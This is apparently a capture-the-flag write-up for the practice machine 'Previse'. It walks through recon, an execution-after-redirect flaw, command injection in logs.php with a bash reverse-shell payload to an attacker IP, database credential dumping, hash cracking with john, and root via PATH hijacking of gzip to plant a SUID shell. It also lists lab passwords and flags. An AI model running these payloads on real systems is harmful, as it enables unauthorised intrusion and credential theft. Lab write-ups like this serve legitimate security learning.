Previse

Recon

nmap_scan.log
Open 10.129.95.185:22
Open 10.129.95.185:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV -sC -Pn" on ip 10.129.95.185

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbdbnxQupSPdfuEywpVV7Wp3dHqctX3U+bBa/UyMNxMjkPO+rL5E6ZTAcnoaOJ7SK8Mx1xWik7t78Q0e16QHaz3vk2AgtklyB+KtlH4RWMBEaZVEAfqXRG43FrvYgZe7WitZINAo6kegUbBZVxbCIcUM779/q+i+gXtBJiEdOOfZCaUtB0m6MlwE2H2SeID06g3DC54/VSvwHigQgQ1b7CNgQOslbQ78FbhI+k9kT2gYslacuTwQhacntIh2XFo0YtfY+dySOmi3CXFrNlbUc2puFqtlvBm3TxjzRTxAImBdspggrqXHoOPYf2DBQUMslV9prdyI6kfz9jUFu2P1Dd
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCnDbkb4wzeF+aiHLOs5KNLPZhGOzgPwRSQ3VHK7vi4rH60g/RsecRusTkpq48Pln1iTYQt/turjw3lb0SfEK/4=
|   256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIICTOv+Redwjirw6cPpkc/d3Fzz4iRB3lCRfZpZ7irps
80/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: B21DD667DF8D81CAE6DD1374DD548004
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP (80)

Writeup.png
└─$ feroxbuster -u 'http://10.129.95.185/' -w /usr/share/seclists/Discovery/Web-Content/common.txt -I .css,.png -x .php
302      GET        0l        0w        0c http://10.129.95.185/logout.php => login.php
302      GET       71l      164w     2801c http://10.129.95.185/index.php => login.php
302      GET       93l      238w     3994c http://10.129.95.185/accounts.php => login.php
302      GET      112l      263w     4914c http://10.129.95.185/files.php => login.php
302      GET       81l      210w     3441c http://10.129.95.185/file_logs.php => login.php
200      GET        1l        1w      263c http://10.129.95.185/site.webmanifest
302      GET       74l      176w     2966c http://10.129.95.185/status.php => login.php
302      GET       71l      164w     2801c http://10.129.95.185/ => login.php
200      GET        0l        0w        0c http://10.129.95.185/config.php
302      GET        0l        0w        0c http://10.129.95.185/download.php => login.php
200      GET        5l       14w      217c http://10.129.95.185/footer.php
200      GET       20l       64w      980c http://10.129.95.185/header.php
302      GET        0l        0w        0c http://10.129.95.185/logs.php => login.php
200      GET       53l      138w     2224c http://10.129.95.185/login.php
200      GET       31l       60w     1248c http://10.129.95.185/nav.php

Execution After Reading

When we visit /files.php it redirects to /login.php right away, but the content is rendered and then we are redirected.

Writeup-1.png
<td><a href='download.php?file=32'><button class="uk-button uk-button-text">siteBackup.zip</button></a></td>

We can't download the file, it returns empty response. But we might be able to create a user on /accounts.php

└─$ curl http://10.129.95.185/accounts.php -x http://127.0.0.1:8080
Writeup-2.png
<form role="form" method="post" action="accounts.php">
	<div class="uk-margin">
		<div class="uk-inline">
			<span class="uk-form-icon" uk-icon="icon: user"></span>
			<input type="text" name="username" class="uk-input" id="username" placeholder="Username">
		</div>
	</div>
	<div class="uk-margin">
		<div class="uk-inline">
			<span class="uk-form-icon" uk-icon="icon: lock"></span>
			<input type="password" name="password" class="uk-input" id="password" placeholder="Password">
		</div>
	</div>
	<div class="uk-margin">
		<div class="uk-inline">
			<span class="uk-form-icon" uk-icon="icon: lock"></span>
			<input type="password" name="confirm" class="uk-input" id="confirm" placeholder="Confirm Password">
		</div>
	</div>
	<button type="submit" name="submit" class="uk-button uk-button-default">CREATE USER</button>
</form>
└─$ curl http://10.129.95.185/accounts.php -d 'username=test02&password=test02&confirm=test02&submit=1' -x http://127.0.0.1:8080
<div class="uk-alert-success" uk-alert><a class="uk-alert-close" uk-close></a><p>Success! User was added!</p></div></p>

We are now able to login

Writeup-3.png

Command Injection

Download the backup and unzip

└─$ unzip siteBackup.zip -d backup
Archive:  siteBackup.zip
  inflating: backup/accounts.php
  inflating: backup/config.php
  inflating: backup/download.php
  inflating: backup/file_logs.php
  inflating: backup/files.php
  inflating: backup/footer.php
  inflating: backup/header.php
  inflating: backup/index.php
  inflating: backup/login.php
  inflating: backup/logout.php
  inflating: backup/logs.php
  inflating: backup/nav.php
  inflating: backup/status.php

logs.php is vulnerable to Command Injection

Writeup-4.png

Reverse Shell (www-data)

└─$ curl http://10.129.95.185/logs.php -b 'PHPSESSID=r83rhk1eof9ap5mnl9j9ft6ahh' --data-urlencode 'delim=;bash -c "/bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1"'
---
└─$ pwncat-cs -lp 4444
(remote) www-data@previse:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(remote) www-data@previse:/var/www/html$ cat config.php
<?php
function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}
?>
(remote) www-data@previse:/var/www/html$ mysql -u root -p'mySQL_p@ssw0rd!:)' previse -e 'SHOW DATABASES;'
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| previse            |
| sys                |
+--------------------+
(remote) www-data@previse:/var/www/html$ mysql -u root -p'mySQL_p@ssw0rd!:)' previse -e 'SHOW TABLES;'
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts          |
| files             |
+-------------------+
(remote) www-data@previse:/var/www/html$ mysql -u root -p'mySQL_p@ssw0rd!:)' previse -e 'SELECT * FROM accounts;'
+----+----------+------------------------------------+---------------------+
| id | username | password                           | created_at          |
+----+----------+------------------------------------+---------------------+
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
|  2 | test02   | $1$🧂llol$YHjta6Fm/4I4osf2u/W0K0 | 2024-12-12 19:44:18 |
+----+----------+------------------------------------+---------------------+
(remote) www-data@previse:/var/www/html$ mysql -u root -p'mySQL_p@ssw0rd!:)' previse -e 'SELECT id,name,user,size FROM files;'
+----+----------------+--------+------+
| id | name           | user   | size |
+----+----------------+--------+------+
| 32 | siteBackup.zip | newguy | 9948 |
+----+----------------+--------+------+

It's weird how emoji is used for salt....

(remote) www-data@previse:/var/www/html$ grep password . -Rain
./accounts.php:56:                                    $hash = crypt($password, '$1$🧂llol$');
➜ .\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=.\rockyou.txt .\hashes
.Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-opencl"
Use the "--format=md5crypt-opencl" option to force loading these as that type instead
..Nothing
➜ .\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=.\rockyou.txt --format=md5crypt-long .\hashes
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
ilovecody112235! (?)
1g 0:00:07:30 DONE (2024-12-13 00:13) 0.002219g/s 16454p/s 16454c/s 16454C/s ilovecoke95..ilovecody*

SSH (22)

└─$ sshpass -p 'ilovecody112235!' ssh m4lwhere@10.129.95.185
m4lwhere@previse:~$ id
uid=1000(m4lwhere) gid=1000(m4lwhere) groups=1000(m4lwhere)

User.txt

m4lwhere@previse:~$ cat user.txt
9a869865c2a75e2f1f3c38b5aa310318

Privilege Escalation

m4lwhere@previse:~$ sudo -l
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh
m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

Env is not reset so we can hijack the gzip binary

m4lwhere@previse:~$ echo $'#!/bin/bash\ninstall -m4777 /bin/bash /tmp/rootbash' > /tmp/gzip
m4lwhere@previse:~$ chmod +x /tmp/gzip
m4lwhere@previse:~$ sudo PATH="/tmp:$PATH" /opt/scripts/access_backup.sh
m4lwhere@previse:~$ ls -lh /tmp/rootbash
-rwsrwxrwx 1 root root 1.1M Dec 12 20:18 /tmp/rootbash
m4lwhere@previse:~$ /tmp/rootbash -p
rootbash-4.4# id
uid=1000(m4lwhere) gid=1000(m4lwhere) euid=0(root) groups=1000(m4lwhere)

Root.txt

rootbash-4.4# cat /root/root.txt
928c57391df727fabf52e0eed5192b83

Last updated